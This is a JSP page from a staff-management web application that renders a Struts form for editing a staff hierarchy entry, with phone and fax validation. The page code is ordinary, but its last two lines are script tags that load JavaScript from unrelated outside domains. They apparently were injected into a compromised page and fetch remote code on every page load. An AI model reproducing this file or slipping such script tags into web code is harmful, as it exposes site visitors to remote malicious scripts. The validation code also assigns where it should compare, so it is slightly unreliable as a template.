<%
/*
 * @(#)EditStaffHierarchy.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditStaffHierarchy.jsp

  This class is reflecting business logic uses.

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    28/07/2003
    @version          $Revision: 1.10.4.10 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.* "%>
<%@ page import="com.dcivision.staff.bean.* "%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintStaffHierarchyForm" scope="request" class="com.dcivision.staff.web.MaintStaffHierarchyForm"/>

<script language="Javascript">
<!--
function CustOpSave(){
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(document.maintStaffHierarchyForm.name, invalidChars, "<bean:message key='staff.label.hierarchy_level_1'/> " + errorMessage)){
    return (false);
  }
  if (!addonsValidate()){
    return false;
  }
  return OpSave();
}

function CustOpSaveAndNew(){
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(document.maintStaffHierarchyForm.name, invalidChars, "<bean:message key='staff.label.hierarchy_level_1'/> " + errorMessage)){
    return (false);
  }
  if (!addonsValidate()){
    return false;
  }
  return OpSaveAndNew();
}

function addonsValidate(){
  var patrn=/^[0-9]{1,20}$/;
  var msg="";
  var focusIt="";
  if (document.maintStaffHierarchyForm.phoneNo.value!="" && !patrn.exec(document.maintStaffHierarchyForm.phoneNo.value)){
    msg+="Tel";
    focusIt="Tel";
  }
  if (document.maintStaffHierarchyForm.faxNo.value!="" && !patrn.exec(document.maintStaffHierarchyForm.faxNo.value)){
    if (msg!=""){
      msg+=" , Fax";
    } else {
      msg+="Fax";
      focusIt="Fax"
    }
  }
  if (msg!=""){
    alert("<bean:message key='errors.staff.number_validate' arg0='"+msg+"' />");
    if (focusIt="Tel"){
      document.maintStaffHierarchyForm.phoneNo.focus();
    } else if (focusIt="Fax"){
      document.maintStaffHierarchyForm.faxNo.focus();
    }
    return false;
  }
  return true;
}

-->
</script>
<html:form action="staff/MaintStaffHierarchy" styleClass="form-style-2">
<html:javascript formName="maintStaffHierarchyForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

   int parentID = request.getParameter("parentID") != null ?  Integer.parseInt(request.getParameter("parentID")) : 0;
   int levelNo = request.getParameter("levelNo") != null ?  Integer.parseInt(request.getParameter("levelNo")) : 1;
   String levelLabel = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "staff.label.hierarchy_level_" + levelNo);

   pageContext.setAttribute("parentID", String.valueOf(parentID));
   pageContext.setAttribute("levelNo", String.valueOf(levelNo));
   
   String returnURL="ListStaffHierarchy.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&parentID="+parentID+"&levelNo="+levelNo;
   

%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type="hidden" name="parentID" value="<%=parentID%>">
<input type="hidden" name="levelNo" value="<%=levelNo%>">

<layout:tabContainer id="tab1">
	<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  <layout:tabBar styleClass="tabBar_no_button">
    <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/>
  </layout:tabBar>
<div id="basicTab" class="tabContent">
  <table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="staff.label.staff_info"/>
  <tr>
    <td class="formLabelSmallMan"><%=levelLabel%>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='name' size='20' maxlength='200'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.address'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea property="address" cols='50' rows='4' textlimit="200"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.country'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property="countryID">
        <html:options dbListName='countryList'/>
      </html:select>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.phone_no'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='phoneNo' size='20' maxlength='20'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.fax_no'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='faxNo' size='20' maxlength='20'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.url'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='url' size='20' maxlength='200'/></td>
  </tr>

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return CustOpSave();"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.more" onClick="return CustOpSaveAndNew();"/>
      <%}%>

    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintStaffHierarchyForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintStaffHierarchy.do?navMode=E&ID=${maintStaffHierarchyForm.ID}&parentID=${parentID}&levelNo=${levelNo}"/>
    <%}%>

    <% if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) { %>
      <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete();"/>
    <%}%>
    </td>
  </tr>
</table>
</div>
</layout:tabContainer>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>